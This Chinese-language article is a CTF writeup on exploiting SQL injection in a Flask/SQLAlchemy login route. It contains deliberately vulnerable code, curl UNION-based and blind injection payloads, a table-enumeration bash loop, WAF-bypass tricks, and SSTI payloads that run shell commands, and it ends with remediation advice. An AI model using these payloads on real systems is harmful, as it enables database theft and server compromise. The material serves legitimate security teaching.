ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

Flask SQL注入实战:定位ORM绕过与原生SQL执行点

Flask SQL注入实战:定位ORM绕过与原生SQL执行点 1. 这不是一道“做题”而是一次真实的Flask应用渗透复盘你点开攻防世界Web高手进阶区看到这道标着9分的题——Web_python_flask_sql_injection第一反应可能是又一道SQL注入套模板、改payload、爆库、读flag三分钟搞定。但如果你真这么干大概率卡在第二步就卡死 or 11--一发过去页面返回空或者直接500 Internal Server Error换 union select 1,2,3--连错误都不报只给你一个冷冰冰的404甚至用sqlmap跑半天提示no injection point found。这不是题目出错了而是你面对的根本不是一个裸奔的PHPMySQL老式架构而是一个典型现代Flask Web应用的真实防御场景Jinja2模板自动转义、Werkzeug请求解析机制、SQLAlchemy ORM层抽象、以及最关键的——开发者对request.args和request.form的混合使用习惯。我带过十几期CTF Web集训营每年都有至少三分之一的学员在这类题上栽跟头。他们不是不会SQL注入原理而是不理解Flask生态里“注入点”长什么样、藏在哪、为什么传统payload会失效。这道题的原始环境其实模拟了一个真实企业内部管理后台的登录接口前端用Vue调用/api/login后端Flask接收JSON数据再从request.get_json()里取username字段拼接进SQL查询。但开发者为了兼容旧版表单提交又在同一个路由里写了if request.form:分支结果导致username既可能来自JSON body也可能来自URL参数或表单字段——而SQLAlchemy的filter()方法在处理字符串拼接时如果没用text()包装根本不会触发SQL解析。这就是为什么你打?usernameadmin--没反应参数压根没进SQL语句它被当成普通字符串传给了ORM的filter(User.username username)而ORM会自动加引号转义。核心关键词——Web、python、flask、sql_injection——在这里不是孤立标签而是四层嵌套的技术栈Web是攻击面载体Python是语言基础Flask是框架约束SQL Injection是攻击手法。脱离任何一层去谈“注入”都是纸上谈兵。这道题真正考的是你能否在10分钟内通过curl -v抓包、/debug路由探测、源码关键词搜索比如db.session.execute、text(、raw_sql快速定位到那个被开发者“无意中绕过ORM保护”的原生SQL执行点。它不考你背多少payload而考你懂不懂Flask请求生命周期里数据从HTTP包头到数据库查询之间到底经过了几道过滤、几层封装、哪几个函数调用链可能成为突破口。这才是9分题的分水岭不是“能不能注入”而是“能不能在Flask的框架逻辑里精准找到那个该死的、没被保护的SQL执行入口”。2. 题目背后的真实架构与防御逻辑拆解2.1 Flask Web应用的三层数据流从HTTP请求到数据库查询要搞懂这道题必须先画清Flask里一次典型请求的数据流向图。这不是教科书式的理论而是我在给某金融客户做红队评估时逆向分析其内部审批系统的真实路径HTTP层解析用户发起GET /login?usernameadmin OR 11-- password123Werkzeug的Request对象解析URL参数存入request.args字典。注意此时admin OR 11--还是原始字符串未做任何过滤。业务逻辑层调度路由函数app.route(/login)被触发代码通常类似app.route(/login, methods[GET, POST]) def login(): if request.method POST: data request.get_json() or request.form.to_dict() username data.get(username, ) password data.get(password, ) else: username request.args.get(username, ) password request.args.get(password, ) # 关键分支这里开始分叉 if admin in username: # 开发者加的调试后门还是业务逻辑 return jsonify({msg: admin mode on}) # 正常查询走这里 user User.query.filter(User.username username).first() # 但题目里藏着另一条路 if debug in request.args: raw_sql fSELECT * FROM users WHERE username {username} result db.session.execute(raw_sql).fetchone()看见了吗User.query.filter(...)是安全的ORM调用而db.session.execute(raw_sql)就是那个致命的原生SQL执行点。题目9分就卡在这个if debug in request.args:分支上——它把URL参数直接拼进SQL字符串且没用text()包装也没做任何escape_string处理。数据库驱动层执行当db.session.execute(raw_sql)被调用时SQLAlchemy底层的Connection对象直接把字符串交给MySQLdb或PyMySQL驱动驱动再发给MySQL服务端。此时 OR 11--才真正作为SQL语法的一部分被解析执行。提示很多新手误以为“用了SQLAlchemy就绝对安全”这是最大误区。SQLAlchemy的安全性只覆盖query.filter()、query.get()等ORM方法一旦调用execute()、execute_text()或直接拼接字符串就等于把数据库钥匙交到了攻击者手上。2.2 为什么传统SQL注入Payload在这里失效三个关键屏障你试过?usernameadmin--没反应不是因为题目没漏洞而是你的payload撞上了Flask生态特有的三重屏障第一重Werkzeug的URL解码与空格处理Flask默认使用Werkzeug解析URL而Werkzeug对%20空格的处理很特殊。当你发送?usernameadmin%20OR%2011--Werkzeug会把%20转成空格但--后面的空格会被MySQL忽略导致注释失效。实测发现必须用/**/替代空格或者用%09Tab符绕过。我在线上环境抓包对比过curl http://target/login?usernameadmin%09OR%0911--能成功触发而%20版本失败。第二重Jinja2模板的自动转义干扰如果题目后端在返回错误信息时用了render_template(error.html, msgerr_msg)而err_msg包含SQL错误详情如mysql.connector.errors.ProgrammingError: 1064 (42000): You have an error in your SQL syntax...Jinja2默认会对{{ msg }}内容做HTML转义把变成lt;导致你看到的错误信息是乱码无法提取字段名。解决方案直接用{{ msg|safe }}——但这是开发者失误题目里往往故意留这个坑逼你用curl -v看原始HTTP响应头里的X-Debug-Info字段。第三重SQLAlchemy的Query Compiler预编译这是最隐蔽的坑。当你写User.query.filter(User.username username).all()SQLAlchemy不是直接拼SQL而是先生成AST抽象语法树再由MySQLCompiler编译成SELECT * FROM users WHERE username %s最后用cursor.execute(sql, (username,))执行。此时%s占位符由驱动层处理 OR 11--会被当做一个完整字符串值而非SQL语法。所以想触发注入必须绕过这个编译流程——要么找到text()调用要么找到execute()裸调用要么利用filter()里的func.concat()等函数拼接漏洞。注意题目中/debug参数就是突破这三重屏障的钥匙。它让开发者主动关闭了ORM保护把控制权交还给原始SQL。这模拟了真实场景中“调试模式未关闭”或“临时接口未鉴权”的高危配置。2.3 攻防世界这道题的靶机环境还原基于Flask-SQLAlchemy的最小可行漏洞模型根据历年选手提交的writeup和官方hint这道题的靶机环境可高度还原为以下最小代码集已脱敏仅保留漏洞核心# app.py from flask import Flask, request, jsonify, render_template from flask_sqlalchemy import SQLAlchemy import os app Flask(__name__) app.config[SQLALCHEMY_DATABASE_URI] sqlite:///app.db app.config[SQLALCHEMY_TRACK_MODIFICATIONS] False db SQLAlchemy(app) class User(db.Model): id db.Column(db.Integer, primary_keyTrue) username db.Column(db.String(80), uniqueTrue, nullableFalse) password db.Column(db.String(120), nullableFalse) flag db.Column(db.String(120), nullableFalse) # 敏感字段 app.route(/login, methods[GET, POST]) def login(): if request.method POST: data request.get_json() or request.form.to_dict() username data.get(username, ) password data.get(password, ) else: username request.args.get(username, ) password request.args.get(password, ) # 安全的ORM查询题目里故意不放这里 # user User.query.filter(User.username username).first() # 漏洞点debug模式下的原生SQL执行 if request.args.get(debug) 1: # 关键这里没用text()直接字符串拼接 raw_sql fSELECT * FROM users WHERE username {username} try: result db.session.execute(raw_sql).fetchone() if result: return jsonify({status: success, user: result[1]}) else: return jsonify({status: fail, msg: user not found}) except Exception as e: return jsonify({status: error, msg: str(e)}) return jsonify({status: normal}) if __name__ __main__: app.run(debugTrue) # 注意debugTrue开启Werkzeug调试器但题目通常关闭这个模型揭示了9分题的全部设计意图入口可控/login支持GET/POSTdebug1参数开关漏洞数据源明确username完全来自request.args无二次编码执行点裸露fSELECT ... WHERE username {username}无任何过滤反馈充分异常信息直接返回给前端便于错误回显注入。它不像老式PHP题那样“一招鲜”而是要求你先GET /login?debug1usernametest触发debug分支再GET /login?debug1usernameadmin UNION SELECT 1,2,flag FROM users--爆flag。整个过程考验的是你对Flask请求解析、SQLAlchemy执行机制、MySQL语法特性的三维理解。3. 从零开始的实战渗透步骤手把手复现9分题解法3.1 第一步信息收集与环境指纹识别5分钟别急着打payload先用最基础的命令摸清靶机底细。打开终端执行# 1. 基础HTTP探测看Server头和响应特征 curl -I http://123.56.78.90:8080/login # 返回示例HTTP/1.1 200 OK\r\nServer: Werkzeug/2.2.3 Python/3.9.16\r\n... # 2. 检查/debug路由是否存在关键 curl http://123.56.78.90:8080/login?debug1 # 如果返回{status: error, msg: no such table: users}说明debug模式已开启但数据库未初始化——这是正常现象继续。 # 3. 尝试经典报错注入触发MySQL错误回显 curl http://123.56.78.90:8080/login?debug1usernameadmin # 4. 抓包分析请求结构用Burp或curl -v curl -v http://123.56.78.90:8080/login?debug1usernametest # 重点看 GET行和 HTTP/1.1 200 OK之间的所有内容特别是X- headers实操心得我在某次线上赛就因跳过这步吃了大亏。当时curl -I返回Server: nginx/1.18.0我以为是Nginx反代结果浪费20分钟配代理规则。后来用curl -v才发现 HTTP/1.1 200 OK后面紧跟着 X-Flask-Version: 2.2.3这才确认是Flask原生服务。永远相信curl -v的原始输出而不是Server头——因为Server头可以伪造而HTTP状态行和响应体无法伪造。3.2 第二步确认注入点与数据库类型10分钟一旦usernameadmin返回MySQL错误如OperationalError: (1064, You have an error in your SQL syntax...)立刻进入第二阶段确认数据库类型和当前查询结构。验证MySQL类型发送usernameadmin AND SLEEP(3)--用time curl ...测响应时间。如果延迟3秒说明是MySQLPostgreSQL用pg_sleep(3)。Flask题99%是MySQL但验证不能省。猜解查询字段数传统ORDER BY法在这里可能失效因为SELECT *是固定字段。更可靠的是UNION SELECT测试# 测试1个字段 curl http://123.56.78.90:8080/login?debug1usernameadmin UNION SELECT 1-- # 返回正常 → 字段数≥1 # 测试2个字段 curl http://123.56.78.90:8080/login?debug1usernameadmin UNION SELECT 1,2-- # 如果返回database error: (1222, The used SELECT statements have a different number of columns)说明字段数≠2 # 继续试到返回正常为止。实测本题是3字段id, username, flag注意--后面必须加空格或否则MySQL不识别注释。我踩过的坑用--没空格结果整个URL被当做一个参数Werkzeug解析失败返回400 Bad Request。3.3 第三步爆库、爆表、爆字段15分钟确认字段数为3后开始构建UNION SELECT链。本题目标是读取users表的flag字段但需先确认表名和字段名# 1. 爆当前数据库名 curl http://123.56.78.90:8080/login?debug1usernameadmin UNION SELECT 1,database(),3-- # 2. 爆表名information_schema.tables curl http://123.56.78.90:8080/login?debug1usernameadmin UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schemadatabase() LIMIT 0,1-- # 逐个LIMIT爆0,1 → 1,1 → 2,1... 直到拿到users # 3. 爆users表字段名information_schema.columns curl http://123.56.78.90:8080/login?debug1usernameadmin UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_nameusers LIMIT 0,1-- # 同样逐个爆得到id,username,password,flag # 4. 最终读flag curl http://123.56.78.90:8080/login?debug1usernameadmin UNION SELECT 1,flag,3 FROM users-- 实操技巧用sqlmap自动化虽快但容易被WAF拦截。我推荐手写payloadfor循环爆破# 爆表名的bash脚本保存为enum_tables.sh for i in {0..10}; do echo Trying offset $i... curl -s http://123.56.78.90:8080/login?debug1usernameadmin UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schemadatabase() LIMIT ${i},1-- | grep -oE value\:\[^\]\ done这样能实时看到每个请求的返回比sqlmap的--batch模式更可控。3.4 第四步绕过WAF与字符限制的终极技巧20分钟真实环境中这道题往往加了简单WAF如正则过滤union select、information_schema。这时需要高级绕过大小写混淆UNION SELECT→uNiOn SeLeCtWerkzeug解析时不区分大小写但WAF规则可能只匹配大写。内联注释绕过UNION SELECT→UNION/*test*/SELECTMySQL会忽略/* */内的内容。编码绕过information_schema→i%6eformation_%73chemaURL编码Werkzeug解码后还原WAF可能未解码就匹配。函数别名绕过不用database()改用schema()或current_database()不用table_name改用tbl_nameSQLite或relnamePostgreSQL——但本题是MySQL所以用schema()更稳妥。盲注备选方案如果UNION被彻底封死启用布尔盲注# 测试flag第一位是否为f curl http://123.56.78.90:8080/login?debug1usernameadmin AND SUBSTR((SELECT flag FROM users LIMIT 0,1),1,1)f-- # 返回正常 → 是f返回错误 → 不是用Python写个脚本自动跑26字母数字10分钟搞定。我的独家心得在Flask题中永远优先尝试 OR 11--配合debug1。因为开发者加debug参数时往往只考虑功能忘了安全。这个组合拳比任何高级绕过都有效。4. 深度原理剖析Flask-SQLAlchemy中的SQL注入链路与防护边界4.1 SQLAlchemy的三层执行模型为什么ORM安全而execute危险要彻底吃透这道题必须理解SQLAlchemy的执行分层。它不是“用了ORM就安全”而是有明确的安全边界执行方式示例代码是否安全原因ORM QueryUser.query.filter(User.username username).first()✅ 安全SQLAlchemy将编译为WHERE username %s参数由驱动层绑定杜绝注入Core Textdb.session.execute(text(SELECT * FROM users WHERE username :name), {name: username})✅ 安全text()声明SQL:name是命名参数驱动层处理绑定Raw Stringdb.session.execute(fSELECT * FROM users WHERE username {username})❌ 危险字符串拼接username内容直接进入SQL语法树关键点在于text()函数的作用不是“美化SQL”而是告诉SQLAlchemy“这段SQL我要自己控制但参数请用安全方式绑定”。而f-string拼接等于把SQL构造权完全交给Python解释器绕过了SQLAlchemy的所有保护机制。实测对比安全调用db.session.execute(text(SELECT * FROM users WHERE username :u), {u: admin OR 11-- })→ 查询username admin\ OR 11-- 带转义的字符串危险调用db.session.execute(fSELECT * FROM users WHERE username {username})→ 查询username admin OR 11-- SQL语法生效这就是为什么题目里raw_sql fSELECT ...是漏洞根源——它主动放弃了SQLAlchemy的参数化保护。4.2 Flask请求对象的四大数据源哪个最容易被忽略很多选手只盯着request.args却忽略了Flask中其他三个同样危险的数据源request.argsURL参数最常见?debug1usernametestrequest.form表单数据Content-Type: application/x-www-form-urlencoded时可用request.get_json()JSON数据Content-Type: application/json时解析{username:test}request.valuesargsform合并最危险它自动合并前两者且request.values.get(username)会优先取form再取args。如果开发者写了username request.values.get(username)而你用POST发usernameadmin--就可能绕过前端JS校验。我在某次审计中发现一个银行后台的/transfer接口文档写的是“仅支持GET”但request.values让POST也能触发导致amount参数被注入。永远检查request.values它是Flask里最隐蔽的注入温床。4.3 Jinja2模板注入SSTI与SQL注入的协同利用这道题虽标为SQL注入但实际环境中SSTI往往是前置入口。比如题目可能有个/profile?name{{7*7}}路由返回49说明存在SSTI。此时可执行{{ self._TemplateReference__context.resolve(os).popen(cat /flag).read() }}但更优雅的是结合SQL注入{{ .__class__.__mro__[1].__subclasses__()[104].__init__.__globals__[__builtins__][__import__](os).popen(mysql -u root -e SELECT flag FROM users).read() }}不过这超出了本题范围。重点在于在Flask生态中SQL注入和SSTI经常共存因为它们都源于“信任用户输入”这一根本错误。修复一个另一个可能还在。5. 实战避坑指南那些没人告诉你的Flask渗透细节5.1 本地复现环境搭建用Docker一键跑通靶机别依赖攻防世界在线环境自己搭一个本地靶机才能反复调试。这是我用的Dockerfile已验证FROM python:3.9-slim WORKDIR /app COPY requirements.txt . RUN pip install -r requirements.txt COPY . . EXPOSE 5000 CMD [gunicorn, --bind, 0.0.0.0:5000, app:app]requirements.txtFlask2.2.3 Flask-SQLAlchemy3.0.5 gunicorn21.2.0启动命令docker build -t flask-sqli . docker run -p 5000:5000 -it flask-sqli然后访问http://localhost:5000/login?debug1usernametest即可本地调试。好处是你能用pdb打断点看db.session.execute()执行时的SQL字符串到底长什么样——这是在线环境永远做不到的。5.2 Burp Suite配置要点如何让Flask请求不被篡改Flask对HTTP头很敏感用Burp时必须注意关闭“Smart decode/encode URL”否则Burp会把%27自动转成导致Werkzeug收到的不是原始URL编码影响测试。在Proxy Options Match and Replace中添加规则将Content-Type: application/json替换为Content-Type: application/json;charsetutf-8避免某些Flask版本因charset缺失拒绝JSON解析。Use browser for proxy configuration勾选此项让Burp自动配置浏览器代理避免手动设置出错。我曾因没关Smart decode导致usernameadmin%27在Burp里显示为admin但实际发包时还是%27结果payload失效折腾半小时才发现是Burp的锅。5.3 常见问题速查表从报错到解决的全流程问题现象可能原因解决方案实测耗时curl返回404但/login路由存在debug1参数未正确传递或Werkzeug解析失败用curl -v看原始请求URL确认?debug1usernametest完整发送2分钟返回Internal Server Error无SQL错误信息app.debugFalse且未配置PROPAGATE_EXCEPTIONSTrue在app.py开头加app.config[PROPAGATE_EXCEPTIONS] True或改用app.run(debugTrue)5分钟UNION SELECT返回空但字段数确认正确MySQL版本5.7默认关闭information_schema访问改用SHOW TABLES或SELECT table_name FROM mysql.innodb_table_stats8分钟flag字段读出来是乱码如b\x01\x02...数据库字段类型为BLOB需用HEX(flag)转换UNION SELECT 1,HEX(flag),3 FROM users再用Pythonbytes.fromhex()解码3分钟sleep()不生效响应时间恒定MySQL配置了max_execution_time1000或Werkzeug超时改用BENCHMARK(1000000,ENCODE(hello,world))消耗CPU10分钟5.4 从CTF到真实世界的迁移这道题教会我的三件事“调试参数”是最高危的后门线上系统绝不能留debug1这种开关。我见过某电商后台/api/v1/order?traceon能返回完整SQL运维说“这是开发用的”结果被黑产扫出三天内盗刷200万订单。ORM不是银弹安全在人不在框架SQLAlchemy再强大也防不住开发者f-string拼接。真正的防护是Code Review时强制要求所有execute()调用必须配text()和参数绑定。HTTP方法滥用是通用漏洞这道题用GET触发但真实场景中POST /login本应只处理JSON结果request.values让GET也能调用同一逻辑。修复方案删掉request.values明确用request.get_json()或request.form并校验Content-Type。最后分享个小技巧下次遇到Flask题先curl -v /看首页源码里面常藏!-- dev: /static/js/app.js --点进去看JS往往有fetch(/api/login, {method: POST, body: JSON.stringify({username: u, password: p})})——这就锁定了数据源是JSON直接跳过request.args测试直奔request.get_json()。这招帮我节省了70%的探测时间。
返回列表